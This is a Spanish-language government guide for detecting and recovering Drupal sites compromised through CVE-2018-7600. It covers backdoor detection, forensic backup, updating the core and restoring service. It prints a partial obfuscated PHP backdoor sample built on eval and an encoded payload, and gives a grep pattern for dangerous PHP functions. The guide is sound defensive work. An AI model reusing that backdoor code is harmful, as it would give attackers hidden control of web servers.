Procedimiento de recuperación para portales con Drupal comprometidos.

Vulnerabilidad: CVE-2018-7600

Una vulnerabilidad de tipo ejecución de código remoto existe en múltiples sistemas de Drupal 7.x y 8.x. Esta vulnerabilidad permite a los atacantes aprovechar diferentes vectores de ataque, entre ellos tomar control completo del servidor donde está alojado el sitio web[1].

[1] "Highly critical - Remote Code Execution - SA-CORE-2018-002 - Drupal." 28 Mar. 2018, https://www.drupal.org/sa-core-2018-002. Accedido 23 Abril. 2018.

¿Cómo detectar si mi sitio web fué comprometido?

Paso 1: Identifique la versión base de su Drupal

Si la versión instalada de su Drupal es menor a la versión 7.58 es muy probable que su sitio esté comprometido, por lo tanto se recomienda **actualizar inmediatamente .**

Paso 2: Realice un análisis del sistema de ficheros de su sitio web

Valide que no existan archivos correspondientes a puertas traseras[2] (Backdoors) dejadas por el atacante. Para esto puede apoyarse en el uso de herramientas de detección , comandos o un análisis manual que permita encontrar archivos que ejecuten código no autorizado en el sitio web.

Estas puertas traseras normalmente siguen un patrón, es decir están conformadas por algunas funciones en PHP y están ofuscadas. Se presenta un ejemplo de una puerta trasera encontrada para esta vulnerabilidad:

```
<?php
eval("\n\$dgreusdi = intval(__LINE__) * 337;");
$a =
"7VdrT+NGFP1eqf9hiCIcKwHFj7ClIQh2Bd1V6bIthVZC1Jo4k2QSvzR2674r
aF/94zDk78GLOou5W6Uo2M7Zlzz33MnTs3JzzgTsySlsa674CIXjhROtQ95fX
1zo/W+/IbhONgjMOSkqBqRbnffpvcPumbtIeBg4CfdZAQdMOuh43OdJK52Qf3
KySaNIh674vqxWRAzvFg/WxqHApG3SlpNZ03l5c/vjsjNCZNNwznnDlhwAbH2
UeyCvW1zF/rR4U5h9zwpyCfBnTChMODJU+otD+HhpIiOk8pmB8u4RNL674iZa
zpDG7MB2RswNR6y1ReodlZIsNvLavv674xyUtuJ3JuyWuIwMxzDI/r18dN5Ba
Bm7rCfcnFHJ8ltFUNkWDJQgSkZHvj+vSnn2+M8OJs8vri+jR+e2YYV7+vTj9c
ee9vbk57b65XZxfXhvHDL97k9W/n7942Mm+qBsAZFoycOB6748mMSpc/hGSNY
jtSY9AckfGbKsQYZqpxKrHF674uez5cXv36lDsByIaLROaOYDGjwp3Wh7mYQR
m+XwSVROryKVNcyKd/L6eqltXmlsJxeZVzLI2+mr42/Xw6Z068GPo8jvHdakY
sjDzWkQHxPDoMBU2YYuciXGMu/LVvDHFpNApxw9rCGT7o9kmTHyFBPLYh1/v1
C7qWm6Vys41c3hayu6uiBLzdhtm83f505JrsPmGBdNiJqKA+7A/FKCO7bfI7H
XmdDuVU3zZnd3olO9ThKI/s6743cqWmW95Xx4LKxYdcsVSZUbDuuIer9No1uN
zjW48/BAdlqlvV6sPR2ijcZLymcRG9MZW0XjGT2cz674aTWcgmfDaK4nA0GzN
N18lgQCoanq/up0LQj61cFZIPhrOkIhaveJIWhbwC8JeW0cXGIw3e+F6xGlQq
qyitQm61aKndAXgSTaMl674+kOeA4er+Gasd/dMzQFkLnTUJ6mglOP/ykLghR
```

[2] "Puerta trasera - Wikipedia, la enciclopedia libre." https://es.wikipedia.org/wiki/Puerta_trasera. Se consultó el 23 abr.. 2018.

```
UUao279onpvKJIRCFkIy0u5fQ5jKK3eNk3+ZvtRYUS1tzRBOKDTVnH2vPgJNF
sPU1dgVjQaGY5CgKB1BFtUIW7w46745UG674N5miihTDFNajUsQ2sl8o4fuKz
ahSmje29sAtnxk8iBaJwrfhYjxmIiutm+Fk6G1Su7j+e0bnc+//AOGBWfq2Oq
SHsZ582iXCXg+DB7hf4f4O9y674674urg/oQQQ/DdLbNBggwPiHQJC8IHOkFi
ADdhgAG674AYgBjAGQAZQBmHJaYTAiZUgO674TAiZ674DJ79faYIDNBZoLMhF
KrWzYNIAtkFsgskFkgsyBkQciCkAUhG0pt4GzgbOkLcDZwNnD2qxKhDS674bQ
j0I9b7aZPmf8Ksj1FV9Iipa2imSI5I1duuy2Cd6pecfpmhF74zSeJs2bals2s
bdkZ2BVKrsAiVRjdQu6d6fn+vk6AgbvL5Lk5fsYpT0a674UVJ7T8ocGDBauSl
twMFn6do5y0iVGJVdoZV7xpGy+IAv49kJYiFmvpfDRMZYM674YyveVlza2G6+
1Hbzs2w3S7YffAHTrZeabr3Y9DrhJ8v/sc2rKfcY6GUiHZOu2gw33QPDJ2VdX
Do5PsbpplL71JLsD9IfM67StC674iPSDlPZNZvbf3/GaSMR4QW93BZj+D1mZk
Ddbf";
$a = str_replace($dgreusdi, "E", $a);
```

Detección con Herramientas

Se recomiendan: Shell Detector [3], PHP Backdoor Detector[4], BackdoorMan[5].

Detección con Comandos:

```
grep -RPn
"(passthru|shell_exec|eval|system|phpinfo|base64_decode|chmod
|mkdir|fopen|fclose|readfile) *\(" .
```

Detección manual:

Revise archivo por archivo su sitio web y determine si existen archivos con código php que ejecuten funciones como shell_exec, passthru, system, phpinfo, base64_decode, eval, chmod, fopen,readfile y tengan código ofuscado.

Realice una lista de esos archivos sospechosos.

[3] "GitHub - emposha/PHP-Shell-Detector: Web Shell Detector – is a php ...." https://github.com/emposha/PHP-Shell-Detector. Se consultó el 23 abr.. 2018.
[4] "GitHub - djeraseit/PHP-backdoor-detector: PHP backdoor detector is a ...." https://github.com/djeraseit/PHP-backdoor-detector. Se consultó el 23 abr.. 2018.
[5] "GitHub - cys3c/BackdoorMan: BackdoorMan is a toolkit that helps you ...." https://github.com/cys3c/BackdoorMan. Se consultó el 23 abr.. 2018.

Paso 2: Confirme si el sitio web está comprometido con los archivos detectados.

Con base en la lista de archivos encontrados en el paso de detección compare con el repositorio oficial de Drupal[6] o la última versión de drupal disponible[7] y determine si son archivos infectados o hacen parte del sistema de ficheros de drupal. Esta comparación la puede realizar gráficamente con el programa Meld[8]

Si los archivos difieren con el proyecto Drupal , se puede afirmar que existen puertas traseras y su sitio web está comprometido.

Paso 3: Notifique

Reporte el incidente a sus superiores y a las entidades competentes.

¿Qué hacer en caso de que mi sitio web esté comprometido?

Paso 1: Realice una copia forense

Después de asegurarse que el sitio web fué comprometido realice una copia forense. Si puede, esta copia podría ser una instantánea a nivel de sistema operativo de los servidores involucrados,. de lo contrario, busque una copia de la base de datos, los archivos y los logs de acceso de los diferentes servicios que se ejecutan . Almacene una copia en medios que no se pueden modificar como un CD o DVD garantizando la integridad de la información.

Paso 2: Detenga los servicios HTTP en su servidor

Servidor Apache:

```
sudo service apache2 stop
```

ó

[6] https://git.drupal.org/project/drupal.git
[7] https://www.drupal.org/project/drupal/releases/7.58
[8] http://meldmerge.org/

```
sudo service httpd stop
```

Para sistemas GNU/Linux con Systemd:

```
systemctl stop apache2.service
```

Servidor Nginx:

```
sudo service nginx stop
sudo service php-fpm stop
```

ó para sistemas GNU/Linux con Systemd:

```
systemctl stop nginx php-fpm
```

Si usa otro servidor HTTP en su servidor revise la documentación (IIS[9]) para detener el servicio.

Paso 3: Elimine todos los archivos que detectó en la fase de análisis.

Elimine de sus servidor la lista de archivos que encontró en el paso dos de la etapa de diagnóstico.

Paso 4: Decida si revertir su sitio web a un estado anterior o remover el malware en el sitio comprometido

Comience el proceso considerando esta pregunta y puede ayudar a facilitar el proceso. Si conoce la fecha específica en que se ha comprometido su sitio, ¿puede reconstruir el sitio fácilmente simplemente utilizando una base de datos anterior y una copia de seguridad de archivos?. Si la respuesta es sí, se recomienda cargar esa base de datos, así como los archivos. Luego de cargar este respaldo vaya al paso 5.

Paso 5: Actualizar Drupal a una versión más reciente

Drupal cuenta con documentación oficial para la actualización del core para su versión 7 y su versión 8

[9] "HOW TO: Start and Stop Individual Web Sites in IIS - Microsoft Support." 16 Apr. 2018, https://support.microsoft.com/en-us/help/324090/how-to-start-and-stop-individual-web-sites-in-iis. Accessed 23 Apr. 2018.

Actualización del core de Drupal 7 (Opción 1)[10]

- Enviar el sitio a modo mantenimiento: configuración -> desarrollo -> Modo mantenimiento
- Eliminar todos los archivos excepto el directorio Sites y los archivos (.htaccess y robots.txt) que han sido modificados
- Suba los nuevos archivos excepto el directorio sites o los archivos (.htaccess y robots.txt) para no sobreescribir los que han sido modificados en su servidor
- Ejecute la actualización del core de Drupal accediendo a la url *http://nombredominio.gov.co/update.php*
- Mientras se ejecuta la actualización si se presentan errores como los que se listan a continuación, utilice la herramienta de módulos faltantes para sobrepasar estos errores (para sitios con la versión 7.5x)

The following module is missing from the file system: MODULE NAME. In order to fix this, put the module back in its original location. For more information, see the documentation page.
ó
User warning: The following module is missing from the file system: MODULE NAME. In order to fix this, put the module back in its original location. For more information, see the the documentation page. in _drupal_trigger_error_with_delayed_logging()

- Saque el sitio del modo de mantenimiento
- Tómese un tiempo en revisar el sitio asegurando que funcione adecuadamente

Actualización de Drupal 8 (Opción manual)[11]

- Realice un respaldo de los archivos composer.json, robots.txt y .htaccess si han sido modificados manualmente
- Acceda a Drupal con cualquier usuario que cuente con permisos de “Administrador actualizaciones de software”

[10] "Actualización del Core de Drupal 7 (opción 1) | Drupal 7 guía en Drupal.org." 7 Febrero. 2018, https://www.drupal.org/docs/7/update/core-option-1. Se consultó el 23 Abril. 2018.
[11] "Actualización manual del Core | Drupal 8 guía en Drupal.org." 19 Abril. 2018, https://www.drupal.org/docs/8/update/update-core-manually. Se consultó el 23 Abril. 2018.

- Utilizando Drupal habilite el modo mantenimiento en: configuración -> desarrollo -> Modo mantenimiento
- Remover los archivos en el directorio de primer nivel y los directorios “core” y “vendor”
    - Mediante un cliente FTP navegue hacia el directorio donde se encuentra su instalación de Drupal
    - Seleccione todos los archivos en el directorio de primer nivel incluyendo los archivos ocultos que comienzan con un punto ej: .htaccess
    - Seleccione los directorios core y vendor
    - Borre los archivos seleccionados
- Opcionalmente en algunas ocasiones una actualización incluye cambios al archivo *default.settings.php*. Esto podrá ser verificado en en la página con todos los releases de esta plataforma[12] y revise las notas del release. Si la actualización incluye cambios en el archivo *default.settings.php* realice el siguiente procedimiento
    - Realice un respaldo del archivo *settings.php.*
    - Copie las entradas con la configuración propia del sitio como: conexión a la base de datos, y otras personalizaciones que haya realizado. Esta información proviene del respaldo del sitio realizado con anterioridad.
    - Haga una copia del nuevo archivo *default.settings.php* y renombrarla con el nombre *settings.php* (sobreescribiendo el anterior archivo *settings.php*).
    - Actualice el nuevo archivo *settings.php* con la configuración propia de su sitio.
- Actualice el core de Drupal mediante un cliente FTP
    - Descargue el último release de Drupal 8.x.x desde el sitio web oficial[13] en un directorio fuera del web root de su servidor.
    - Extraiga el archivo.
    - Mediante el cliente FTP suba los directorios “core” y “vendor” en el directorio de primer nivel de su instalación de Drupal.
- Opcionalmente aplique nuevamente las modificaciones a los archivos como .htaccess, composer.json o robots.txt.

---

[12] "Releases para el Core de Drupal | Drupal.org." 18 Abril. 2018, https://www.drupal.org/project/drupal/releases. Se consultó el 23 Abril. 2018.
[13] "Build | Drupal.org." https://www.drupal.org/download. Se consultó el 23 Abril. 2018.

- Usando el navegador web y como usuario administrador ejecute la actualización del core de Drupal accediendo a la url *http://nombredominio.gov.co/update.php*
    - Si no tiene permisos de administrador edite el archivo *setting.php* cambie la siguiente configuración:

      ```
      $settings['update_free_access'] = FALSE;
      ```
      a
      ```
      $settings['update_free_access'] = TRUE;
      ```

    - Ejecute nuevamente *http://nombredominio.gov.co/update.php*

- Usando el navegador web acceda como administrador a Administración -> Reportes -> Reporte de estado. Verifique que todo está funcionando como corresponde.
- Usando el navegador acceda como administrador y deshabilite el modo mantenimiento
- Finalmente luego de la actualización elimine el release de Drupal previamente descargado.

Paso 5: Restablezca el servicio HTTP

Servidor Apache:

```
sudo service apache2 start
```
ó
```
sudo service httpd start
```

Para sistemas GNU/Linux con Systemd:
```
systemctl start apache2.service
```

Servidor Nginx:

```
sudo service nginx start
sudo service php-fpm start
```

ó

Para sistemas GNU/Linux con Systemd:
```
systemctl start nginx php-fpm
```

Paso 6: Implemente una estrategia de respaldos

Si no cuenta con una estrategia de respaldos para la información de su sitio web es el momento de hacerlo. Desarrolle un plan de trabajo e que le permita realizar copias de seguridad periódicamente de los archivos y de la base de datos. Implementarlo ya que ante este tipo de incidentes de seguridad es muy útil contar con puntos de recuperación que permitan disminuir el impacto en su sitio web de un incidente como estos y garantizar la integridad de sus datos.

Necesito ayuda con este proceso

Si el sitio web instalado en Govimentum fué comprometido y necesita ayuda en el proceso de recuperación puede ponerse en contacto a través de los canales de comunicación establecidos: Slack[14]. Si no tiene acceso puede solicitarlo a través del correo electrónico del proyecto (govimentum-cms@alcaldiabogota.gov.co).

Proyectó: Astrid Carolina Herrera Díaz
Fabian Hernandez Nieto
Oscar Javier Ardila Peña
Revisó: Johann Alexánder Garzón Arenas
Aprobó: Iván Mauricio Hernández Lanao

[14] "Slack - Slack Govimentum." https://govimentum.slack.com/. Se consultó el 23 abr.. 2018.